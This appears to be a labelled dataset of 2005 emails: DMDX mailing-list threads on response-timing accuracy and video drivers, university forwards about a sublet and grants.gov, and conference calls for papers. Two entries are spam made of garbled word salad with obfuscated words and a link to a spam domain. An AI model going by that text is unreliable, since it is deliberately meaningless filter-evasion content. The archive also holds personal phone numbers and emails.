",DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 12:30:17 -0700",[DMDX] Re: median response times,"At 05:39 PM 6/6/2005 +0100, you wrote: >Next question: How? I can't find any place to specify that I want median >RTs as >opposed to means--using Analyze 2.04. Do I put this in the .spc file? If so, >what command do I need? Ah, sorry about that, I thought you meant mean. No, there's no median support in Analyze. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to. ",0,0 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Jun 2005 09:40:20 +0100",[DMDX] Re: Problems with tiimg in Win2000 and XP," Hi Jonathan, Thanks for yout help. > Really long sleep times are usually indicative of some driver trouble. > I'd try swapping the video cards around, removing all extraneous hardware > not necessary for the machine to function, testing the memory. Basically > you want to perturb the hardware setup as much as possible. The problem is that the XP machine is one of our lab machines, and I was testing it to see if we could move to XP with all our (about 20) lab machines. So, the hardware cannot be changed. Anyway, strangely enough the problem happens on both the XP machine as well as on my own desktop machine, which has completely different hardware and runs Win2000. Maarten ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 07 Jun 2005 08:16:43 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP,"At 09:40 AM 6/7/2005 +0100, you wrote: >The problem is that the XP machine is one of our lab machines, and I was >testing it to see if we could move to XP with all our (about 20) lab machines. > >So, the hardware cannot be changed. Oh. Well as a diagnostic measure it still might tell you something. >Anyway, strangely enough the problem happens on both the XP machine >as well as on my own desktop machine, which has completely different >hardware and runs Win2000. Basically what's happening is that the machine has something else that needs to be done by some super critical process -- which is usually a device driver and in my experience it's almost always been the video driver. You don't notice it normally because you're not trying to track the retrace but when DMDX tries to actually tell what's happening in the hardware it blows a bunch of assumptions out of the water that novice driver writers make. I've rarely been able to track what makes one machine terrible and another good but usually if one tries enough new drivers the problem goes away. Beyond video card and sound card drivers a really good candidate is chipset drivers. If the machines have VIA chipsets in them a new set of Hyperion (or whatever they're calling them these days) drivers can make all the difference (particularly the AGP miniport and it's settings). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,0 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Tue, 07 Jun 2005 16:42:24 +0100",[DMDX] Re: Problems with tiimg in Win2000 and XP," Ho Jonathan, Thanks for the suggestions. I'll have a word with our technical guys and see if we can solve this. Maarten At 16:16 07/06/2005, you wrote: >At 09:40 AM 6/7/2005 +0100, you wrote: > >>The problem is that the XP machine is one of our lab machines, and I was >>testing it to see if we could move to XP with all our (about 20) lab >>machines. >> >>So, the hardware cannot be changed. > > Oh. Well as a diagnostic measure it still might tell you something. > > >>Anyway, strangely enough the problem happens on both the XP machine >>as well as on my own desktop machine, which has completely different >>hardware and runs Win2000. > > > Basically what's happening is that the machine has something else that > needs to be done by some super critical process -- which is usually a > device driver and in my experience it's almost always been the video > driver. You don't notice it normally because you're not trying to track > the retrace but when DMDX tries to actually tell what's happening in the > hardware it blows a bunch of assumptions out of the water that novice > driver writers make. I've rarely been able to track what makes one > machine terrible and another good but usually if one tries enough new > drivers the problem goes away. Beyond video card and sound card drivers > a really good candidate is chipset drivers. If the machines have VIA > chipsets in them a new set of Hyperion (or whatever they're calling them > these days) drivers can make all the difference (particularly the AGP > miniport and it's settings). > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >To iterate is human, to recurse, divine. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 Angela Reid ,economicsbb@columbia.edu,"Tue, 07 Jun 2005 10:09:46 -0400",Fwd: Sublet," > >Beginning 1 August 2005 until 31 July (or until mid >August) 2006, we would like to sublet our furnished >apartment, located in a pre-war Art Deco building >fifty yards from Fort Tryon Park and within fifty feet >of the express A Train subway station and M-4 & M98 >bus stop at the top of Fort Washington Avenue. The >1300 square foot apartment is tastefully appointed, >sun-filled, spacious two bedrooms (with air >conditioners) and two baths, with exceptional East, >West and North views. Hardwood floors, large lobby, >sunken living room, a separate windowed dining area, >and a modern gourmet kitchen with Sub-zero fridge and >Dacor stove. There is a new, well-equipped gym in the >building. The neighborhood is clean, very safe and >quiet, with 8 miles of wooded paths and breath-taking >vistas of the Hudson, and the best collection of >medieval art in the Americas a the Cloisters, a five >minute walk away. The school is PS 187, highly >recommended, and the shopping and restaurants all of >fine quality. Convenient subway and bus connection: 25 >minutes to mid-town. No pets, please. > >RE ",0,0 Angela Reid ,economicsbb@columbia.edu,"Tue, 07 Jun 2005 10:10:11 -0400",Fwd: sublet 2," > >Sorry to have left this out from the previous message: > >RENT: $ 2000, not including utilities, telephone, >cable or DSL. >FOR FURTHER DETAILS CALL: 212 927-0422, or e-mail: >vto5946@yahoo.com or pko1@columbia.edu > ",0,0 Brent ,bianca@psy1.psych.arizona.edu,"Tue, 07 Jun 2005 08:16:11 -0500","You gonna come back, Brent. padop"," Mesmeric la$se$ are intimate har$hly http://tkernelf2.com > both 3105 olee that oryssus > hippocampi down karun agng fining ",1,1 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Jun 2005 15:11:54 +0100",[DMDX] Timing with a USB gamepad,"I have been using a joystick in the gameport of a windows 98 machine, which works fine. However I want to run some RT studies on my laptop which is an XP machine without many ports - I only have a choice between the keyboard or a USB device (gamepad/joystick or mouse). I have read that the keyboard timing is something like 5ms error rate, though maybe it might be different with a laptop? I want to use a gamepad and would like to know how I would be able to determine what timing accuracy I can get with a USB gamepad (which Timedx recognises in the input test) - or do you have any best guesses? And what do you think is the best option with this setup for getting the the most accurate timing? Thanks, ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Jun 2005 08:14:52 -0700",[DMDX] Re: Timing with a USB gamepad,"At 03:11 PM 6/8/2005 +0100, you wrote: >I have been using a joystick in the gameport of a windows 98 machine, >which works fine. However I want to run some RT studies on my laptop >which is an XP machine without many ports - I only have a choice >between the keyboard or a USB device (gamepad/joystick or mouse). > >I have read that the keyboard timing is something like 5ms error rate, >though maybe it might be different with a laptop? Different for every keyboard, a lot of them were much worse than 5ms. >I want to use a gamepad and would like to know how I would be able to >determine what timing accuracy I can get with a USB gamepad (which >Timedx recognises in the input test) - or do you have any best >guesses? USB devices I've tested had a 4ms SD. The only way to test it is to build a test jig and use one of DMDX's test modes as is outlined in the DMDX Input help. Or you can send one to me and I'll test it for you, if you want me to return it you'll have to include return shipping. > And what do you think is the best option with this setup for >getting the the most accurate timing? Perhaps upping the XP USB polling rate like gamers do for their ultra high precision mice would affect the accuracy but I've yet to verify this. USB Mouserate Switcher lets you enforce a mouse polling rate of 250 Hz (4 ms), 500 Hz (2 ms) or 1000 Hz (1 ms) and lets you restore Windows' original ""usbport.sys"" (8 ms) if needed. http://www.softpedia.com/get/Tweak/System-Tweak/USB-Mouserate-switcher.shtml /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,1 Hair Mikayla ,DMDX@psy1.psych.arizona.edu,"Wed, 08 Jun 2005 02:46:44 -0800",You have been selected,"on pater be sketchpad may furlong see stork , rollback ",1,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 08 Jun 2005 10:30:51 -0600",conference of interest to interval researchers: forwarding,"Forwarding. ********************************************************* From: Denis Sidorov Subject: Conference in Baikal, Russia on Optimisation Methods This is the Thirteenth Triennial Baikal International Conference on Optimisation Methods & their Applications, which traditionally (since 1969) brings together the engineers and the scientists working in the general area of optimisation. Themes The conference will cover all topics related to optimisation and include the following sessions: Mathematical programming Interval analysis Optimal control Inverse and ill-posed problems in applied mathematics Modelling of technical and nature systems The special attention will be paid to the following topics: equilibrium programming, parallel computations, interior point methods, and models of imperfect competition. The Conference will include Plenary sessions, Invited sessions, Regular sessions, Poster sessions, Workshops and Two Satellite conferences: 'Equilibrium models of economics and energetics' and 'IT in Power Industry'. For further information, visit the web-site http://www.sei.irk.ru/baikal2005/english/index.htm Organised by the Energy Systems Institute of Russian Academy of Sciences (SB). Venue: Irkutsk-Severobaikalsk, Lake Baikal Northern Shore, RUSSIA, July, 2-8, 2005.",0,1 Angela Reid ,economicsbb@columbia.edu,"Wed, 08 Jun 2005 13:08:17 -0400",Fwd: Grants.gov,"> >COLUMBIA UNIVERSITY >INTERDEPARTMENTAL MEMORANDUM >Office of Projects and Grants >254 Engineering Terrace; MC 2205 >(t) 212/854-6851; (f) 212/854 2738 > > >June 8, 2005 > >OPG: 6961 > >To: Principal Investigators, Selected Department Chairs, Deans, >Department Administrators > >Subject: Grants.gov > >Grants.gov was developed as part of the President’s Management Agenda >(PMA) and related E-Government Strategy (P.L. 106-107). It is one of 24 >PMA initiatives dedicated to improving government services via the >Internet. Grants.gov is a collaborative initiative, developed in >partnership by 11 Federal agencies. The Program is led the U.S. Department >of Health and Human Services. Partner agencies include the U.S. >Departments of Agriculture, Commerce, Defense, Education, Homeland >Security, Housing and Urban Development, Justice, Labor, Transportation >and the National Science Foundation. > >Grants.gov allows organizations to electronically find and apply for >competitive grant opportunities from all Federal grant-making agencies. It >is, currently, the single access point for over 900 grant programs offered >by the 26 Federal grant-making agencies. > >Grants.gov has two main features: Find and Apply. We encourage >investigators to log onto , click on the “Find” tab, and >enter their Fund Profile to begin receiving announcements (click on >“Receive Grant Opportunity Emails”) of opportunities that match your >research interests. You can also use grants.gov to perform basic searches >for fund opportunities, or you can browse by category (science, >technology, energy, humanities, etc.) or by agency. You do not need a >password to find opportunities. > >More and more agencies are requiring that proposals be submitted through >grants.gov. The National Science Foundation (NSF), for example, has just >identified 23 programs that “offer proposers the option to utilize >Grants.gov to prepare and submit proposals.” Ultimately submission of >proposals to NSF via grants.gov will be required. > >According to the website , “Grants.gov is designed to be >user friendly and offers a range of online user support tools, including: > ># Tutorial: A computer-based training tool ># Context-Sensitive Help: Information specific to the web page >being viewed ># User Guide: An indexed comprehensive guide to reference >information on Grants.gov: Viewable online and downloadable in PDF and >Word formats ># Quick Reference: Reference support likely to be used most often ># Frequent Questions and Answers > >“These tools should provide grantors and the grant community with >everything needed to know to use the site. These links can be found by >clicking on the Customer Support tab on the site. > >“Personalized support is also available through the Grants.gov Contact >Center (support@grants.gov)."" > >Once you find the relevant Funding Opportunity and/or CFDA number of a >program that matches your research interest you are ready to apply for >support via Grants.gov. > >1. The first step in the process to download the particular grant >application package for your proposal. However before you can download >the application package you must download and install PureEdge Viewer at >. This program will allow you to >access, complete, and submit applications electronically. Note that >Grants.gov strongly recommends the use of Internet Explorer and not other >browsers. The application package you download will contain not only >forms that are required for the solicitation, but also application >instructions specific to the solicitation. > >2. Complete the application package off-line. Much of the application >face-page (SF424) is pre-filled as a result of your download. Areas that >need to be completed on the face-page will be highlighted in >yellow. Morningside investigators, when prompted, should enter 049179401 >as our DUNS number. We are, additionally, already registered with the >Contractor Clearinghouse Registry (CCR). > >3. Notify your OPG Projects Officer that you are preparing an application >that must be submitted via email; send him/her an advance copy of your >proposal for review and comment. > >4. Once your Projects Officer approves the submission send them all parts >of your proposal via email or, if very large, via a CD. Please remember >that we require 2 hard-copies of your proposal prior to its submission. > >5. Ensure you have prepared, and all approvers have signed off on your >RASCAL PropTrak form. > >6. OPG will upload and submit your proposal via grants.gov. > >Please note that proposal submission via grants.gov, although required by >many programs is not the most user-friendly system OPG has >encountered. It especially gets very slow after 3 PM in the afternoon ­ >it is often so slow that it takes ½ hour or more for us to submit one >proposal. As the system does not allow multiple logins under the same ID >at the same time Projects Officers can only work to submit one proposal at >a time. We urge you to get us your proposal as early before the deadline >as is possible. Please remember that we generally process proposals on a >first-come, first-serve basis. Additionally, OPG guarantees on-time >submission if we receive proposals at least 2 business-days prior to the >deadline. > >Please contact your OPG Projects Officer for additional information about >grants.gov. > > > >/signed/ > >Beth H. Israel > >Executive Director > >Cc: Dr. David Hirsh > Ms. Debbie Sties > Ms. Jane Tsambis > Ms. Olga Carr",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Jun 2005 14:02:48 -0700",[DMDX] Re: Timing with a USB gamepad,"At 08:14 AM 6/8/2005 -0700, you wrote: >USB Mouserate Switcher lets you enforce a mouse polling rate >of 250 Hz (4 ms), 500 Hz (2 ms) or 1000 Hz (1 ms) >and lets you restore Windows' original ""usbport.sys"" (8 ms) >if needed. > >http://www.softpedia.com/get/Tweak/System-Tweak/USB-Mouserate-switcher.shtml I just had a play with this on my system and it reduced the SD on the system mouse from 6.40ms to 5.65ms so it's doing something but I suspect there's so much hanging off the mouse introducing latency that this is not a real indicator of the Mouserate Switcher's efficacy. If I had a USB joystick or gamepad I'd test it but alas I don't. Maybe tomorrow I'll have one. ! Positive Response Latency Mean: 1048.65, Standard Deviation: 6.40 ! Positive Response Latency Mean: 1048.70, Standard Deviation: 5.65 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to. ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 08 Jun 2005 19:42:54 -0600",Special Issue: deadline extended ,"forwarding; CFP can also be found at http://www.cs.utep.edu/interval-comp/geom05.html ------------- Begin Forwarded Message ------------- From: Xiaoshan GAO Under several requests for extension of deadline for submission, We have therefore extended the paper submission deadline to June 30, 2005. _____________________________________________________________ CFP: Geometric Constraints A special issue of International Journal of Computational Geometry and Applications _____________________________________________________________ Authors should send their submission as a file attachment in pdf or postscript format to both guests editors by June 30, 2005. Xiao-Shan Gao Institute of Systems Science, Academia Sinica, Beijing 100080 China Email: xgao@mmrc.iss.ac.cn http://www.mmrc.iss.ac.cn/~xgao Tel: 86-10-6254-1831 Fax: 86-10-6263-0706 Dominique Michelucci Laboratory Electroninics, Computer Science, Image Faculty sciences & techniques University of Burgundy BP 47870 21078 Dijon Cedex France Email: Dominique.Michelucci@u-bourgogne.fr Tel: 333.80.39.38.85 from abroad, 03.80.39.38.85 from France Fax: 333.80.39.59.10 from abroad, 03.80.39.38.85 from France Detailed CFP can be found at: http://www.mmrc.iss.ac.cn/~xgao/CFP-IJCGA.htm ------------- End Forwarded Message -------------",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 08 Jun 2005 20:17:44 -0600",conference in India,"Several inter-related papers were presented at the previous CIT conferences. The organizers would welcome interval-related papers at this conference as well, especially if the applications areas are related to the highlighted topics. Bhubaneswar is a great place to visit; see the venue link at the conference webpage. *********************************************************************** CALL FOR PAPERS 8th International Conference on Information Technology CIT'2005 Bhubaneswar, India, Dec. 20-23 Organized by Orissa Information Technology Society (OITS) (www.oits.org) The main objective of the Conference is to provide a quality forum for scientists and engineers from various disciplines to present their latest research findings on all topics in the area of IT. Although the focus will be on Computer Science Issues, we welcome contributions from management, business and other disciplines. The focus of this conference will be on bio-informatics, e-business and network security. Topics of interest include but are not limited to: "" Ubiquitous computing, Mobile computing "" Embedded and Real time Systems "" Parallel and Distributed Computing "" E-commerce and network security "" Fault-tolerance and Reliability "" Formal Methods "" Soft Computing, Multi-agent Systems "" Bioinformatics and Computational Biology "" Computational Finance "" Databases, Data Warehousing "" Language Technology Paper submissions: To be submitted electronically in pdf/ps/ MSWord format. Manuscripts shall be limited to twenty double spaced pages of size 8.5inX11in, in 12pt fonts. Papers shall be sent to either of the program chairs as an email with subject line cit2005 submission. Workshops and Tutorials: Workshop and Tutorial proposals are sought in all areas of IT, and shall be addressed to the advanced students in this field. IMPORTANT DATES * June 15, Tutorial proposal due * July 15, Full papers due [Extended deadline] * Aug 20, Acceptance notice * Oct 6, Camera-ready copy General Chairs: D.K. Panda, Ohio State University anda@cse.ohio-state.edu S. Padhi, Utkal University spadhy@sancharnet.in Program Chairs: R. Mall, IIT Kharagpur rajib@cse.iitkgp.ernet.in M. Satpathy, Univ. of Reading M.Satpathy@reading.ac.uk Tutorial and Workshop Chairs: M. Patra, Berhampur University manasrpbu@yahoo.com A. Das, IMB Centre, Bhubaneswar ajitmita@rediffmail.com B. Patel, GM College, Sambalpur Patel_bk2000@yahoo.com Publicity chairs: S K Udgata, Berhampur University Sibu_udgata@yahoo.co.in J R Hota, KIIT, Bhubaneswar Jyotiranjan_h@yahoo.com Advisory Chair: J.R. Sahu, OITS Jr_sahu@yahoo.com Steering Committee Chair: R. Mahapatra, Texas A&M University rabi@cs.tamu.edu Further details in www.citconference.org ",0,0 Stefano Ghirlanda ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Jun 2005 16:03:05 +0200",[DMDX] using a microphone as input device ,"Hi, I am part of a research group that is investigating whether DMDX could be a valid alternative to Eprime (for us, obviously it is a very nice program!). We need now to use a microphone as input device, which with Eprime requires a 450$ additional device. We were very happy that a colleague pointed us to DMDX. However, the software requirement page mentions that not everything is working perfectly with DMDX under windows XP, and we were wondering whether this touches the microphone input. Thanks for your time, Stefano -- Stefano | Department of Psychology, University of Bologna Ghirlanda | Interdisciplinary cultural research, Stockholm University http://www.intercult.su.se/~stefano ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Jun 2005 08:37:47 -0700",[DMDX] Re: Timing with a USB gamepad,"At 03:41 PM 6/9/2005 +0100, you wrote: >That is very helpful, thanks. > >It would seem then (without actually testing) that your best guess >would be to use a USB gamepad with the accelerator at 1000Hz - which >potentially could give a response of 4ms or less, but would >interesting to see if this is the case. I would hope it's SD would be below 1ms. I'll know some time today as one of my techs will have brought in a USB game pad from her home. >Which is good because I also think that a joypad is the most ergonomic >solution for binary responses. Certainly the most convenient. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing increases your golf score like witnesses. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Jun 2005 08:39:32 -0700",[DMDX] Re: using a microphone as input device ,"At 04:03 PM 6/9/2005 +0200, you wrote: >Hi, > >I am part of a research group that is investigating whether DMDX could >be a valid alternative to Eprime (for us, obviously it is a very nice >program!). > >We need now to use a microphone as input device, which with Eprime >requires a 450$ additional device. We were very happy that a colleague >pointed us to DMDX. However, the software requirement page mentions >that not everything is working perfectly with DMDX under windows XP, Legacy mode RecordVocal doesn't work but who'd want it anyway? Everything else works under XP. >and we were wondering whether this touches the microphone input. The DigitalVOX works fine for us. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing increases your golf score like witnesses. ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 09 Jun 2005 11:41:15 -0600",ISIPTA'05 program and registration page are on the site,"forwarding ------------- Begin Forwarded Message ------------- From: ""ISIPTA '05"" We would like to inform you that the web site for ISIPTA'05 is now complete; please go to http://www.sipta.org/isipta05 to see the list of accepted papers, the program, the schedule, the registration page. We urge everyone interested in attending the meeting, to register and to make their travel arrangements as soon as possible. ====================================================================== Call for Participation: ISIPTA '05 4th Int. Symposium on Imprecise Probabilities and Their Applications July 20-23, 2005 - Carnegie Mellon University http://www.sipta.org/isipta05 Highlights: - Invited talks by Arthur Dempster and Isaac Levi - Tutorials by Gert de Cooman, Paolo Vicig and Kurt Weichselberger - Workshop on Financial Risk Assessment, on the morning of July 24 - 46 technical papers will be presented (oral and poster) on July 21-23 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The ISIPTA meetings are one of the primary international forums to present and discuss new results on the theory and applications of imprecise probabilities. Imprecise probability has a wide scope, being a generic term for the many mathematical or statistical models which measure chance or uncertainty without sharp numerical probabilities. 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The list of invited talks to be presented at the workshop can be found at the symposium site. Steering Committee ------------------ Gert de Cooman (Universiteit Gent, Belgium) Fabio G. Cozman (Universidade de São Paulo, Brazil) Serafin Moral (Universidad de Granada, Spain) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Marco Zaffalon (IDSIA-Istituto Dalle Molle di Studi sull'Intelligenza Artificiale, Switzerland) The members of the program committee are listed at the symposium site. Questions --------- If you have any questions about the symposium that you cannot solve by consulting the site http://www.sipta.org/isipta05, please contact the Steering Committee preferably by email (teddy@stat.cmu.edu - fgcozman@usp.br), or at the following address: Teddy Seidenfeld Department of Statistics Carnegie Mellon University Pittsburgh PA 15213 Phone: 412 - 268 - 2209 Fax: 412 - 268 - 1440 ------------- End Forwarded Message -------------",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Jun 2005 13:42:36 -0700",[DMDX] Re: Timing with a USB gamepad,"At 08:37 AM 6/9/2005 -0700, you wrote: > I would hope it's SD would be below 1ms. I'll know some time today as > one of my techs will have brought in a USB game pad from her home. Here's what I've added to the Input help after testing the gamepad: It turns out that the above USB mouse times are bad not necessarily because of the mouse per se but more because XP only polls USB devices at 125Hz. There are various hacks around the internet that can change that polling rate for gamers so I decided to revisit the USB issue and see if the USB Mouserate Switcher has any effect. Times are for testmode 8 on a USB Logitech Trackman: XP SP2 P4 2.4 GHz, USB mouse, no rate modifications (qPIO12 still active, oops) 8 bit video Positive Response Latency Mean: 1048.65, Standard Deviation: 6.74 XP SP2 P4 2.4 GHz, USB mouse, no rate modifications (not much difference with qPIO12 removed) 8 bit video Positive Response Latency Mean: 1048.65, Standard Deviation: 6.40 XP SP2 P4 2.4 GHz, USB mouse, 1000Hz rate modifications 8 bit video Positive Response Latency Mean: 1048.70, Standard Deviation: 5.65 XP SP2 P4 2.4 GHz, USB mouse, 1000Hz rate modifications 16 bit video Positive Response Latency Mean: 1048.64, Standard Deviation: 5.72 Fairly lackluster results had me suspecting that the 8 bit video mode was the cause of the high variability but it would appear not to be the case given the last 16 bit test. The likely explanation is that there is a large amount of software between DMDX and the actual mouse (for instance all mice are aggregated as a single mouse) so I located a Microsoft SideWinder Plug & Play Game Pad and gave it a run through: XP SP2 P4 2.4 GHz, USB sidewinder gamepad, no rate modifications 16 bit video Positive Response Latency Mean: 1048.69, Standard Deviation: 2.61 XP SP2 P4 2.4 GHz, USB sidewinder gamepad, 1000Hz rate modifications 16 bit video Positive Response Latency Mean: 1048.67, Standard Deviation: 1.33 Here we can see some significant improvement percentage wise but the raw device was already performing rather well to begin with. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The first riddle I ever heard, one familiar to almost every Jewish child, was propounded to me by my father: ""What is it that hangs on the wall, is green, wet -- and whistles?"" I knit my brow and thought and thought, and in final perplexity gave up. ""A herring,"" said my father. ""A herring,"" I echoed. ""A herring doesn't hang on the wall!"" ""So hang it there."" ""But a herring isn't green!"" I protested. ""Paint it."" ""But a herring isn't wet."" ""If its just painted its still wet."" ""But -- "" I sputtered, summoning all my outrage, ""-- a herring doesn't whistle!!"" ""Right, "" smiled my father. ""I just put that in to make it hard."" - Leo Rosten, ""The Joys of Yiddish"" ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Jun 2005 14:42:39 -0700",[DMDX] Re: Timing with a USB gamepad,"And of course while testing all of that I uncovered an oversight in TimeDX's Input test where it enumerates the absolute axes of a device if they present but that throws off the button hit display if the axes appear first so now version 3.1.07 of TimeDX enumerates the axes last. And of course I can't release TimeDX without a release of DMDX but it's currently mid release so version 3.1.4.0 of DMDX introduces a new keyword that might change subtly based on the needs of someone here so be warned: Zillion One Line Keyword MDSP bit 4000000 modifier, the bit that makes zillion response output one line per item (handy for importing into Excel). Reset if N = 0, otherwise set. All MDSP modifiers are both parameters and switches. If N is missing the bit is set and the mode is active. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Art is either plagiarism or revolution. - Paul Gauguin",0,0 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Fri, 10 Jun 2005 15:41:19 +0100",[DMDX] Re: Problems with tiimg in Win2000 and XP," Jonathan, I've investigated this problem further by checking another machine. This is a 3.2 mHz 64 bit hyper threading machine with 2 gb of memory and yet another video card. It run WinXP and has the latest version of everything. This machine is serious overkill for running DMDX, but still I get the same results: over 50% of timeouts and actual sleep times of up to 16 ms, while 6 ms sleep is requested. I tried all different settings, but nothing seems to make a difference. (Next to it is an old 1 gHz Win98 machine, and it manages 0% timeouts with hardly any tweaking at all) So, this is the third 32 bit machine that I've tested that has the same problem. All machines have different video cards, and two run Win XP while the third one runs Win2000. We have even disabled the Keithley card on the last machine: it doesn't make a difference. I really don't know what is happening here, but it looks like 32 bit Windows and DMDX don't like each other very much. I haven't been able to have a look at your other driver suggestions yet, as the technical guy knowing about this wasn't available. But it seems very unlikely that it is a specific driver problem when we have three machines, with almost nothing in common, all showing the same problem. Maarten At 16:16 07/06/2005, you wrote: >At 09:40 AM 6/7/2005 +0100, you wrote: > >>The problem is that the XP machine is one of our lab machines, and I was >>testing it to see if we could move to XP with all our (about 20) lab >>machines. >> >>So, the hardware cannot be changed. > > Oh. Well as a diagnostic measure it still might tell you something. > > >>Anyway, strangely enough the problem happens on both the XP machine >>as well as on my own desktop machine, which has completely different >>hardware and runs Win2000. > > > Basically what's happening is that the machine has something else that > needs to be done by some super critical process -- which is usually a > device driver and in my experience it's almost always been the video > driver. You don't notice it normally because you're not trying to track > the retrace but when DMDX tries to actually tell what's happening in the > hardware it blows a bunch of assumptions out of the water that novice > driver writers make. I've rarely been able to track what makes one > machine terrible and another good but usually if one tries enough new > drivers the problem goes away. Beyond video card and sound card drivers > a really good candidate is chipset drivers. If the machines have VIA > chipsets in them a new set of Hyperion (or whatever they're calling them > these days) drivers can make all the difference (particularly the AGP > miniport and it's settings). > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >To iterate is human, to recurse, divine. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Jun 2005 08:32:16 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP,"At 03:41 PM 6/10/2005 +0100, you wrote: >Jonathan, > >I've investigated this problem further by checking another machine. > >This is a 3.2 mHz 64 bit hyper threading machine with 2 gb of memory >and yet another video card. It run WinXP and has the latest version >of everything. This machine is serious overkill for running DMDX, but still >I get the same results: over 50% of timeouts and actual sleep times of >up to 16 ms, while 6 ms sleep is requested. I tried all different settings, >but nothing seems to make a difference. None of which will particularly affect DMDX's ability to run I might mention. TimeDX poses a particularly intensive test of the hardware as not only is it tracking the retrace but it's also almost constantly updating the screen. You might see some reduction in the long sleeps if you reduce the number of lines to blit but unless you plan on displaying extremely intensive tachistoscopic sequences I find that machines that have less than stellar TimeDX performance as you are finding have no trouble with actual DMDX work. I suspect the large sleep times are caused by the video driver batching up display commands and once TimeDX goes to sleep the video driver goes into overdrive doing all the stuff it told TimeDX it had already done. I tend to have a whole range of video driver versions as sometimes the latest drivers are the worst performers -- but that's still just TimeDX performance. DMDX tends to be fine. Another thing to bear in mind is that the default 8 bit video modes are almost useless with modern video cards so tests in TimeDX using them are likely to be more crippled than the 16 and 32 bit video modes. >(Next to it is an old 1 gHz Win98 machine, and it manages 0% timeouts >with hardly any tweaking at all) > >So, this is the third 32 bit machine that I've tested that has the same >problem. >All machines have different video cards, and two run Win XP while the >third one runs Win2000. > >We have even disabled the Keithley card on the last machine: it doesn't >make a difference. > >I really don't know what is happening here, but it looks like 32 bit Windows >and DMDX don't like each other very much. I would point out that Windows 98 is still 32 bit windows, it's just not NT based and requires WDM drivers. >I haven't been able to have a look at your other driver suggestions yet, >as the >technical guy knowing about this wasn't available. But it seems very unlikely >that it is a specific driver problem when we have three machines, with almost >nothing in common, all showing the same problem. It almost has to be, I just checked this machine and it's fine. I see the odd machine around the department (one in recent memory that I can think of but that was a year ago) that has similar sorts of TimeDX performance but when it's running experiments you never see display presentation errors. My guess is that there's some feature of less than the most recent video cards causing the problem as I used to swear by TNT2 video cards but in the machine I see the problem with the TNT2 didn't solve the problem. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing increases your golf score like witnesses. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Jun 2005 10:43:04 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP,"At 08:32 AM 6/10/2005 -0700, you wrote: >>This is a 3.2 mHz 64 bit hyper threading machine with 2 gb of memory >>and yet another video card. It run WinXP and has the latest version >>of everything. This machine is serious overkill for running DMDX, but still >>I get the same results: over 50% of timeouts and actual sleep times of >>up to 16 ms, while 6 ms sleep is requested. I tried all different settings, >>but nothing seems to make a difference. Given that 16ms time I suspect what's happening is that the video drivers are having to wait till a retrace goes off before they are able to complete the requests they've told TimeDX are done already. Probably got something to do with TimeDX polling the vertical retrace status constantly for several milliseconds per retrace and TimeDX wanting to blit a full screen of data every other retrace or so. Basically circumstances that aren't likely to occur in DMDX, most people that do really demanding tachistoscopic displays aren't doing it to the whole display nor are they likely to be doing it when there's only one back buffer like TimeDX uses. Full screen video is the only thing I can think of but all bets are off there 